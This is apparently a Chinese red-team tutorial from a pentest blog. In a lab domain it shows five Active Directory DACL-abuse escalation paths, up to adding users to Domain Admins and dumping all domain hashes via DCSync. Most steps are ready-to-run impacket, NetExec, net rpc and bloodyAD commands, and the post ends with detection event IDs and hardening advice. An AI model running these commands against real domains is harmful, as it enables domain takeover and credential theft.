不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

【红队】AD权限配置错误导致的五大权限提升路径

图1–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

导语:DACL(自主访问控制列表)是Microsoft Active Directory中最强大、也最容易被误解的组件之一。每个AD对象(用户、组、OU甚至域根)都携带包含DACL的安全描述符。当管理员错误配置这些ACE时,攻击者可以滥用它们提升权限、重置特权账户密码、复制域凭据,最终拿下整个域——全程不需要任何传统漏洞利用。


DACL基础:理解Active Directory中的权限机制

什么是DACL?

DACL是每个AD对象安全描述符的组成部分,包含零个或多个ACE,每个ACE指定:

为什么DACL对攻击者至关重要

与传统漏洞不同,DACL滥用利用的是合法的Windows功能。如果攻击者可以写入对象的DACL,他可以静默地为自己授予任何权限——而不触发大多数安全工具的告警。危险的权限包括:


技术一:ForceChangePassword(用户→用户权限提升)

概述

User-Force-Change-Password扩展权限(GUID: 00299570-246d-11d0-a768-00aa006e0529)允许安全主体在不知道原密码的情况下更改另一用户的密码。这种错误配置在AD环境中很常见——helpdesk或支持账户被授予密码重置权限,但范围划得过大。

步骤1:授予jerry对tom的ForceChangePassword权限

使用管理员凭据,将ForceChangePassword权限写入用户对象CN=tom,CN=Users,DC=ignite,DC=local的DACL,授予主体jerry:

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

图2–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤2:验证ACE已写入

该命令显示用户jerry在ignite.local域中对对象tom拥有特定的委托权限:

impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1

图3–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤3:更改tom的密码并验证

NetExec的change-password模块执行密码重置——不需要知道tom的当前密码:

nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123nxc smb 192.168.1.11 -u jerry -p Admin@123

图4–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤4:恢复DACL

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术二:Domain Admins组的FullControl→组成员身份

概述

如果攻击者获得组对象的FullControl(等价于GenericAll),他可以直接操作组成员、更改组的DACL,或对该对象执行任何其他操作。获得Domain Admins组的FullControl相当于通往域控的路径。

步骤1:授予raaz对Domain Admins的FullControl

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

图5–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤2:验证ACE

以raaz身份读取Domain Admins组DACL,确认FullControl(GenericAll等价)通过大量ACCESS_ALLOWED_OBJECT_ACE条目存在:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11

图6–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤3:添加raaz到Domain Admins

拥有FullControl后,raaz可以通过net rpc直接将自己添加到组:

net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%'Password@1' -S 192.168.1.11

确认组成员身份:

net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11

图7–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤4:恢复

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术三:通过域根DACL滥用实现DCSync

概述

DCSync是一种滥用MS-DRSR(目录复制服务远程协议)的技术,向域控制器请求凭据数据复制——就像另一台域控制器请求复制一样。域根上需要两个扩展权限:

将这两个权限授予非特权用户,允许其dump所有域凭据包括krbtgt哈希——从而实现黄金票据攻击。

步骤1:授予kinjal DCSync权限

本实验演示了两种方法。第一种使用命名备份文件便于清晰追踪:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11

图8–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤2:验证DCSync ACE

回读kinjal在域根上的ACE,确认两个复制权限都存在:

impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1

步骤3:执行DCSync——转储所有域哈希

在复制权限就位后,impacket-secretsdump通过DRSUAPI执行完整凭据dump(注意:DCERPC RemoteOperations失败,回退到DRSUAPI——这是正常的):

impacket-secretsdump ignite.local/kinjal:Password@1@192.168.1.11

图9–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤4:恢复DCSync权限

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

技术四:WriteMembers DACL滥用

概述

WriteMembers权限允许ankur账户向Domain Admins组添加或删除成员,而不需要完整的域管理员权限。这代表了一种持久化后门——即使ankur的组成员身份被撤销,底层DACL权限仍然存在,可重新提权。

步骤1:授予ankur对Domain Admins的WriteMembers

步骤2:验证WriteMember ACE

以ankur身份读取DACL,显示多个READ ACE(继承的基线)和新授予的WriteMember访问:

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11

图10–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

步骤3:通过bloodyAD将ankur添加到Domain Admins

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"

技术五:基于GUID的ACE写入

概述

不使用-rights关键字简写,impacket-dacledit支持使用-rights-guid通过原始扩展权限GUID写入ACE。这对于没有命名简写的权限或脚本化精确ACE添加很有用。

示例:通过GUID写入ForceChangePassword

直接指定User-Force-Change-Password GUID(00299570-246d-11d0-a768-00aa006e0529):

impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

图11–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

使用-file选项(备份与恢复)

-file用于保存和恢复Active Directory权限,是安全ACL修改和恢复的关键选项:

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak

演示漏洞后,恢复原始DACL:

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Active Directory DACL权限——GUID速查表

权限名称 GUID 描述
ForceChangePassword 00299570-246d-11d0-a768-00aa006e0529 无需原密码重置用户密码
DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 复制域凭据变更
DS-Replication-Get-Changes-All 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 完整域复制权限
WriteDACL 拒绝此操作 修改对象DACL
FullControl/GenericAll 所有权限 完全控制对象

检测与防御建议

检测机会

Windows事件ID 4662——对象被访问:在AD对象上读取DACL时记录(需要在目标OU/对象上启用审核)。

Windows事件ID 4670——对象的权限被更改:在DACL被修改时触发。对敏感对象(Domain Admins组、域根、特权用户对象)的更改发出告警。

Windows事件ID 4728/4732/4756——成员添加到安全启用组:在组成员更改时触发。与非常规管理组成员的账户关联。

Windows事件ID 4769且SPN为复制SPN:DCSync为E3514235-4B06-11D1-AB04-00C04FC2DCD2 SPN生成Kerberos服务票请求——对来自非DC IP的这些请求发出告警。

LDAP监控:关注对nTSecurityDescriptor属性的大量LDAP查询,来自非管理账户的异常查询行为。

防御建议


结论

DACL滥用代表了最具影响力、也最常被忽视的Active Directory攻击类别之一。与漏洞利用不同,这些攻击利用的是内置的Windows权限机制。因此,它们产生的噪音痕迹很少,往往绕过传统安全控制。

ignite.local实验室证明,一个拥有单个错误配置ACE的低权限用户可以在几分钟内提升到Domain Admin并获取域中每个凭据。完整攻击链——从初始ForceChangePassword到完整DCSync——不需要任何漏洞利用、恶意软件或复杂的横向移动。

好消息是:这些攻击路径完全可以通过正确的ACL卫生、分层管理和健壮监控来预防。使用BloodHound进行定期DACL审计,结合SIEM对事件ID 4670和DCSync指标的检测,可以显著降低攻击面。


图12–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

图13–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

图14–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术

图15–【红队】AD权限配置错误导致的五大权限提升路径–seo优化_前端开发_渗透技术


赞(0)
未经允许不得转载:seo优化_前端开发_渗透技术 » 【红队】AD权限配置错误导致的五大权限提升路径